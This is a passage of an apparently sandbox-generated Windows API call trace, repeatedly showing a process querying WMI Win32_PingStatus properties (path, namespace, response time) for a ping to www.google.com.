puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0136.865] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.865] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0136.865] SafeArrayGetDim (psa=0x5074e0) returned 0x1 [0136.865] SafeArrayGetDim (psa=0x5074e0) returned 0x1 [0136.865] SafeArrayGetLBound (in: psa=0x5074e0, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0136.865] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.865] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.865] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.865] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.865] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.865] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.865] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.865] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.865] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.866] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.866] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.866] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.866] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.866] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.866] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.866] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.866] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.866] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.866] SysStringByteLen (bstr="__PATH") returned 0xc [0136.866] SysStringByteLen (bstr="__PATH") returned 0xc [0136.866] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bb44*=0, plFlavor=0x242bb48*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242bb44*=3, plFlavor=0x242bb48*=64) returned 0x0 [0136.866] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bb78*=0, plFlavor=0x242bb7c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242bb78*=8, plFlavor=0x242bb7c*=64) returned 0x0 [0136.867] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.867] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.867] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bbd0*=0, plFlavor=0x242bbd4*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bbd0*=8, plFlavor=0x242bbd4*=64) returned 0x0 [0136.867] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bbf8*=0, plFlavor=0x242bbfc*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242bbf8*=8, plFlavor=0x242bbfc*=64) returned 0x0 [0136.867] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.867] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.867] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bc50*=0, plFlavor=0x242bc54*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242bc50*=8, plFlavor=0x242bc54*=64) returned 0x0 [0136.867] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.867] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.867] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242be2c*=0, plFlavor=0x242be30*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242be2c*=3, plFlavor=0x242be30*=64) returned 0x0 [0136.868] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242be60*=0, plFlavor=0x242be64*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242be60*=8200, plFlavor=0x242be64*=64) returned 0x0 [0136.868] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242be94*=0, plFlavor=0x242be98*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242be94*=8, plFlavor=0x242be98*=64) returned 0x0 [0136.868] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.868] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.868] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bee0*=0, plFlavor=0x242bee4*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242bee0*=8, plFlavor=0x242bee4*=64) returned 0x0 [0136.868] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.868] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.868] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242bf2c*=0, plFlavor=0x242bf30*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242bf2c*=8, plFlavor=0x242bf30*=64) returned 0x0 [0136.869] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.869] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.869] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ResponseTime", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c164*=0, plFlavor=0x242c168*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242c164*=19, plFlavor=0x242c168*=0) returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0136.869] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.869] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0136.870] SafeArrayGetDim (psa=0x507480) returned 0x1 [0136.870] SafeArrayGetDim (psa=0x507480) returned 0x1 [0136.870] SafeArrayGetLBound (in: psa=0x507480, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0136.870] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.870] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.870] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.870] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.870] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.870] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.870] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.870] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.870] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.870] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.870] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.870] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.870] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.870] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.870] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.870] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.870] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.870] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.870] SysStringByteLen (bstr="__PATH") returned 0xc [0136.871] SysStringByteLen (bstr="__PATH") returned 0xc [0136.871] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c524*=0, plFlavor=0x242c528*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242c524*=3, plFlavor=0x242c528*=64) returned 0x0 [0136.871] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c558*=0, plFlavor=0x242c55c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242c558*=8, plFlavor=0x242c55c*=64) returned 0x0 [0136.871] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.871] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.871] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c5b0*=0, plFlavor=0x242c5b4*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c5b0*=8, plFlavor=0x242c5b4*=64) returned 0x0 [0136.871] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c5d8*=0, plFlavor=0x242c5dc*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242c5d8*=8, plFlavor=0x242c5dc*=64) returned 0x0 [0136.871] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.872] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.872] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c630*=0, plFlavor=0x242c634*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242c630*=8, plFlavor=0x242c634*=64) returned 0x0 [0136.872] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.872] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0136.872] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c80c*=0, plFlavor=0x242c810*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242c80c*=3, plFlavor=0x242c810*=64) returned 0x0 [0136.872] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c840*=0, plFlavor=0x242c844*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5073f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b0f0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x242c840*=8200, plFlavor=0x242c844*=64) returned 0x0 [0136.872] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c874*=0, plFlavor=0x242c878*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x242c874*=8, plFlavor=0x242c878*=64) returned 0x0 [0136.873] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.873] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.873] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c8c0*=0, plFlavor=0x242c8c4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x242c8c0*=8, plFlavor=0x242c8c4*=64) returned 0x0 [0136.873] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.873] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.873] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242c90c*=0, plFlavor=0x242c910*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242c90c*=8, plFlavor=0x242c910*=64) returned 0x0 [0136.873] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.873] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0136.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0136.873] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0136.873] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.873] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ResponseTime", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242cb44*=0, plFlavor=0x242cb48*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242cb44*=19, plFlavor=0x242cb48*=0) returned 0x0 [0136.874] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ResponseTime", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242cb44*=19, plFlavor=0x242cb48*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x242cb44*=19, plFlavor=0x242cb48*=0) returned 0x0 [0136.875] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0136.875] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0136.875] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.875] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0136.875] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0136.875] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.875] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0136.875] SafeArrayGetDim (psa=0x507450) returned 0x1 [0136.875] SafeArrayGetDim (psa=0x507450) returned 0x1 [0136.875] SafeArrayGetLBound (in: psa=0x507450, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0136.875] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.875] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.875] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.875] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.875] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.875] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.875] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.875] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.876] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.876] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.876] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.876] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.876] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.876] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.876] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.876] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.876] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.876] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.876] SysStringByteLen (bstr="__PATH") returned 0xc [0136.876] SysStringByteLen (bstr="__PATH") returned 0xc [0136.876] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d0c0*=0, plFlavor=0x242d0c4*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x242d0c0*=3, plFlavor=0x242d0c4*=64) returned 0x0 [0136.876] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d0f4*=0, plFlavor=0x242d0f8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242d0f4*=8, plFlavor=0x242d0f8*=64) returned 0x0 [0136.877] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.877] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.877] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d14c*=0, plFlavor=0x242d150*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d14c*=8, plFlavor=0x242d150*=64) returned 0x0 [0136.877] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d174*=0, plFlavor=0x242d178*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x242d174*=8, plFlavor=0x242d178*=64) returned 0x0 [0136.877] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.877] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.877] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x242d1cc*=0, plFlavor=0x242d1d0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x242d1cc*=8, plFlavor=0x242d1d0*=64) returned 0x0 [0136.877] SysStringByteLen 